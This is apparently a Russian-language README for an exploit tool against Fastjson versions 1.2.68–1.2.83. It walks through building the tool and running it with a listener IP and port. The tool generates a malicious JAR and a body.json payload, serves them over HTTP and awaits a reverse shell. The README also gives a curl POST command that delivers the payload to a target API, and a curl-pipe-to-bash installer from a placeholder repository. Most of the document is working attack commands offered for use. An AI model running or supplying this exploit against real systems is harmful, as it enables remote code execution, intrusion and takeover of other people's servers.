
Критическая уязвимость, затрагивающая Fastjson версии 1.2.68 – 1.2.83.
Linux (или WSL в Windows)
Компилятор, совместимый с C++17 (GCC 7+ или Clang 5+)
CMake 3.10 или новее
Системные пакеты:
libzip-devzlib1g-devsudo apt update
sudo apt install -y build-essential cmake libzip-dev zlib1g-dev
Установите всё одной командой:
curl -sSL https://raw.githubusercontent.com/yourusername/CVE-2026-16723/main/install.sh | bash
Или скачайте и запустите установщик вручную:
wget https://raw.githubusercontent.com/yourusername/CVE-2026-16723/main/install.sh
chmod +x install.sh
./install.sh
Сценарий установки выполнит следующее:
Установит все необходимые системные пакеты.
Скачает необходимые библиотеки, состоящие только из заголовков:
nlohmann/jsoncpp-httplibСоберёт проект.
Поместит скомпилированный бинарный файл в текущий каталог как:
./exploit
Если вы склонировали репозиторий:
git clone https://github.com/yourusername/CVE-2026-16723.git
cd CVE-2026-16723
./install.sh
Или соберите вручную:
mkdir build
cd build
cmake ..
make -j$(nproc)
cp exploit ../
Запустите бинарный файл:
./exploit --lhost <YOUR_IP> --lport <SHELL_PORT> [options]
./exploit --lhost 192.168.1.100 --lport 4444 --http-port 8000
После выполнения будут созданы следующие файлы:
x
body.json
HTTP-сервер запустится на настроенном порту (по умолчанию: 8000), и инструмент будет ожидать входящего обратного подключения оболочки (reverse shell).
Отправьте сгенерированный файл body.json на уязвимую конечную точку:
curl -X POST http://<TARGET_IP>:8080/api/products/search \
-H "Content-Type: application/json" \
--data-binary @body.json
Если приложение ожидает другое поле JSON, укажите его с помощью опции --field.
| File | Description |
|---|---|
x | Сгенерированная JAR-полезная нагрузка |
body.json | JSON-полезная нагрузка для отправки цели |
jar:http и jar:file.| Option | Description | Default |
|---|
--lhost | Локальный IP-адрес | Обязательно |
--lport | Порт прослушивания обратной оболочки | 4444 |
--http-port | Порт HTTP-сервера | 8000 |
--first | Первый файловый дескриптор для попытки | 3 |
--last | Последний файловый дескриптор для попытки | 30 |
--field | Имя поля JSON | facets |
--outdir | Каталог вывода | . |
-h, --help | Показать справочное сообщение | — |